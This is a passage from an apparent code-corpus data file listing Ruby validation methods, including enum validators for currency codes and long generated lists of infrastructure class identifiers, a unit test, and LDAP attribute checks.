[\"UNKNOWN_CURRENCY\", \"AED\", \"AFN\", \"ALL\", \"AMD\", \"ANG\", \"AOA\", \"ARS\", \"AUD\", \"AWG\", \"AZN\", \"BAM\", \"BBD\", \"BDT\", \"BGN\", \"BHD\", \"BIF\", \"BMD\", \"BND\", \"BOB\", \"BOV\", \"BRL\", \"BSD\", \"BTN\", \"BWP\", \"BYR\", \"BZD\", \"CAD\", \"CDF\", \"CHE\", \"CHF\", \"CHW\", \"CLF\", \"CLP\", \"CNY\", \"COP\", \"COU\", \"CRC\", \"CUC\", \"CUP\", \"CVE\", \"CZK\", \"DJF\", \"DKK\", \"DOP\", \"DZD\", \"EGP\", \"ERN\", \"ETB\", \"EUR\", \"FJD\", \"FKP\", \"GBP\", \"GEL\", \"GHS\", \"GIP\", \"GMD\", \"GNF\", \"GTQ\", \"GYD\", \"HKD\", \"HNL\", \"HRK\", \"HTG\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"IQD\", \"IRR\", \"ISK\", \"JMD\", \"JOD\", \"JPY\", \"KES\", \"KGS\", \"KHR\", \"KMF\", \"KPW\", \"KRW\", \"KWD\", \"KYD\", \"KZT\", \"LAK\", \"LBP\", \"LKR\", \"LRD\", \"LSL\", \"LTL\", \"LVL\", \"LYD\", \"MAD\", \"MDL\", \"MGA\", \"MKD\", \"MMK\", \"MNT\", \"MOP\", \"MRO\", \"MUR\", \"MVR\", \"MWK\", \"MXN\", \"MXV\", \"MYR\", \"MZN\", \"NAD\", \"NGN\", \"NIO\", \"NOK\", \"NPR\", \"NZD\", \"OMR\", \"PAB\", \"PEN\", \"PGK\", \"PHP\", \"PKR\", \"PLN\", \"PYG\", \"QAR\", \"RON\", \"RSD\", \"RUB\", \"RWF\", \"SAR\", \"SBD\", \"SCR\", \"SDG\", \"SEK\", \"SGD\", \"SHP\", \"SLL\", \"SOS\", \"SRD\", \"SSP\", \"STD\", \"SVC\", \"SYP\", \"SZL\", \"THB\", \"TJS\", \"TMT\", \"TND\", \"TOP\", \"TRY\", \"TTD\", \"TWD\", \"TZS\", \"UAH\", \"UGX\", \"USD\", \"USN\", \"USS\", \"UYI\", \"UYU\", \"UZS\", \"VEF\", \"VND\", \"VUV\", \"WST\", \"XAF\", \"XAG\", \"XAU\", \"XBA\", \"XBB\", \"XBC\", \"XBD\", \"XCD\", \"XDR\", \"XOF\", \"XPD\", \"XPF\", \"XPT\", \"XTS\", \"XXX\", \"YER\", \"ZAR\", \"ZMK\", \"ZMW\", \"BTC\"])\n return false unless currency_validator.valid?(@currency)\n type_validator = EnumAttributeValidator.new('String', [\"PHYSICAL\", \"MOBILE\"])\n return false unless type_validator.valid?(@type)\n return true\n end",
"def update_allowed_values\n self.url_allowed = true if url_required\n self.description_allowed = true if description_required\n self.title_allowed = true if title_required\n\n TagSet::TAG_TYPES.each do |tag_type|\n required = eval(\"#{tag_type}_num_required\") || eval(\"self.#{tag_type}_num_required\") || 0\n allowed = eval(\"#{tag_type}_num_allowed\") || eval(\"self.#{tag_type}_num_allowed\") || 0\n if required > allowed\n eval(\"self.#{tag_type}_num_allowed = required\")\n end\n end\n end",
"def test_valid?\n assert_raise( RuntimeError ) { Tui::Model::Enum.new( 'lab1', { }, 1 ) }\n base = Tui::Model::Enum.new( 'lab1', { 'val1' => '1', 'val99' => '99' }, 'val99' )\n assert_false base.valid?( 1 )\n assert_true base.valid?( \"val1\" )\n ex = assert_raise( RuntimeError ) { base.value = 1; }\n assert_equal( 'Invalid value for model type Tui::Model::Enum!', ex.message )\n end",
"def validate_may_attributes\n\t\thash = (self.entry || {} ).merge( @values )\n\t\tattributes = hash.keys.map( &:to_sym ).uniq\n\t\tvalid_attributes = self.valid_attribute_oids +\n\t\t\tself.operational_attribute_oids +\n\t\t\tIGNORED_OPERATIONAL_ATTRS\n\n\t\tself.log.debug \"Validating MAY attributes: %p against the list of valid OIDs: %p\" %\n\t\t\t[ attributes, valid_attributes ]\n\t\tunknown_attributes = attributes - valid_attributes\n\t\tunknown_attributes.each do |oid|\n\t\t\tself.errors.add( oid, \"is not allowed by entry's objectClasses\" )\n\t\tend\n\tend",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def validate_range(key, value, enum_values)\n values = value.instance_of?(Array) ? value : [value]\n values.each do |v|\n add_templated_error(key, \"'#{v}' is not a valid setting for '#{template.name_for(key)}'\") unless enum_values.include?(v)\n end\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", \"storage.PurePort\", \"storage.PureProtectionGroup\", \"storage.PureProtectionGroupSnapshot\", \"storage.PureReplicationSchedule\", \"storage.PureSnapshotSchedule\", \"storage.PureVolume\", \"storage.PureVolumeSnapshot\", \"storage.SasExpander\", \"storage.SasPort\", \"storage.Span\", \"storage.StoragePolicy\", \"storage.VdMemberEp\", \"storage.VirtualDrive\", \"storage.VirtualDriveContainer\", \"storage.VirtualDriveExtension\", \"storage.VirtualDriveIdentity\", \"syslog.Policy\", \"tam.AdvisoryCount\", \"tam.AdvisoryDefinition\", \"tam.AdvisoryInfo\", \"tam.AdvisoryInstance\", \"tam.SecurityAdvisory\", \"task.HitachiScopedInventory\", \"task.HxapScopedInventory\", \"task.NetAppScopedInventory\", \"task.PublicCloudScopedInventory\", \"task.PureScopedInventory\", \"task.ServerScopedInventory\", \"techsupportmanagement.CollectionControlPolicy\", \"techsupportmanagement.Download\", \"techsupportmanagement.TechSupportBundle\", \"techsupportmanagement.TechSupportStatus\", \"terminal.AuditLog\", \"terraform.Executor\", \"thermal.Policy\", \"top.System\", \"ucsd.BackupInfo\", \"uuidpool.Block\", \"uuidpool.Pool\", \"uuidpool.PoolMember\", \"uuidpool.Universe\", \"uuidpool.UuidLease\", \"virtualization.Host\", \"virtualization.VirtualDisk\", \"virtualization.VirtualMachine\", \"virtualization.VirtualNetwork\", \"virtualization.VmwareCluster\", \"virtualization.VmwareDatacenter\", \"virtualization.VmwareDatastore\", \"virtualization.VmwareDatastoreCluster\", \"virtualization.VmwareDistributedNetwork\", \"virtualization.VmwareDistributedSwitch\", \"virtualization.VmwareFolder\", \"virtualization.VmwareHost\", \"virtualization.VmwareKernelNetwork\", \"virtualization.VmwareNetwork\", \"virtualization.VmwarePhysicalNetworkInterface\", \"virtualization.VmwareUplinkPort\", \"virtualization.VmwareVcenter\", \"virtualization.VmwareVirtualDisk\", \"virtualization.VmwareVirtualMachine\", \"virtualization.VmwareVirtualMachineSnapshot\", \"virtualization.VmwareVirtualNetworkInterface\", \"virtualization.VmwareVirtualSwitch\", \"vmedia.Policy\", \"vmrc.Console\", \"vnc.Console\", \"vnic.EthAdapterPolicy\", \"vnic.EthIf\", \"vnic.EthNetworkPolicy\", \"vnic.EthQosPolicy\", \"vnic.FcAdapterPolicy\", \"vnic.FcIf\", \"vnic.FcNetworkPolicy\", \"vnic.FcQosPolicy\", \"vnic.IscsiAdapterPolicy\", \"vnic.IscsiBootPolicy\", \"vnic.IscsiStaticTargetPolicy\", \"vnic.LanConnectivityPolicy\", \"vnic.LcpStatus\", \"vnic.SanConnectivityPolicy\", \"vnic.ScpStatus\", \"vrf.Vrf\", \"workflow.BatchApiExecutor\", \"workflow.BuildTaskMeta\", \"workflow.BuildTaskMetaOwner\", \"workflow.Catalog\", \"workflow.CustomDataTypeDefinition\", \"workflow.ErrorResponseHandler\", \"workflow.PendingDynamicWorkflowInfo\", \"workflow.RollbackWorkflow\", \"workflow.SolutionActionDefinition\", \"workflow.SolutionActionInstance\", \"workflow.SolutionDefinition\", \"workflow.SolutionInstance\", \"workflow.SolutionOutput\", \"workflow.TaskDebugLog\", \"workflow.TaskDefinition\", \"workflow.TaskInfo\", \"workflow.TaskMetadata\", \"workflow.TaskNotification\", \"workflow.TemplateEvaluation\", \"workflow.TemplateFunctionMeta\", \"workflow.WorkflowDefinition\", \"workflow.WorkflowInfo\", \"workflow.WorkflowMeta\", \"workflow.WorkflowMetadata\", \"workflow.WorkflowNotification\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", 